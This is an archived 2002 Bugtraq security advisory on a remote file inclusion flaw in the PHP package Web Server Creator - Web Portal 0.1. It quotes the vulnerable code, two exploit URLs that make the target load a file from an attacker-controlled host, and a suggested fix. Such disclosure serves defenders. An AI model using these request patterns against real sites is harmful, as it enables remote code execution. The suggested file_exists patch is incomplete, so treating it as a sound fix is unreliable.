[27995] in bugtraq

home	help	back	first	fref	pref	prev	next	nref	lref	last	post

Web Server Creator - Web Portal 0.1 (PHP)

daemon@ATHENA.MIT.EDU (Frog Man)
Tue Nov 26 02:23:48 2002

From: "Frog Man" <leseulfrog@hotmail.com>
To: bugtraq@securityfocus.com
Date: Mon, 25 Nov 2002 17:33:41 +0100
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
Message-ID: <F167xoUqXSfKtTcfML70000deec@hotmail.com>






Informations :
°°°°°°°°°°°°°°
Website : http://webcreator.com02.com
Tested version : 0.1
Problem : Include file

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
news/include/customize.php :
------------------
<?
$langfile = $l;

include $l;
?>
------------------

index.php :
-----------------------------------
[...]
if (!$pg) { $pg = "acceuil"; }
[...]
require ("$pg.php");
?>
[...]
-----------------------------------

Exploits :
°°°°°°°°°°
http://[target]/news/include/customize.php?l=http://[attacker]/file.txt
with
http://[attacker]/file.txt

and

http://[target]/index.php?pg=http://[attacker]/badfile
with
http://[attacker]/badfile.php



Solution :
°°°°°°°°°°
- Delete bugged lines in news/include/customize.php
- In index.php replce this line :
require ("$pg.php");
by :
-------------------
if (file_exists($pg.".php")){
require ("$pg.php");
}
-------------------

A patch can be found on http://www.phpsecure.org.


More details :
°°°°°°°°°°°°°°
In french :
http://www.frog-man.org/tutos/WSC-WebPortal.txt
Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FWSC-WebPortal.txt&langpair=fr%7Cen&hl=fr&ie=ASCII&oe=ASCII



frog-m@n



_________________________________________________________________
MSN Search, le moteur de recherche qui pense comme vous ! 
http://search.msn.fr/worldwide.asp

home	help	back	first	fref	pref	prev	next	nref	lref	last	post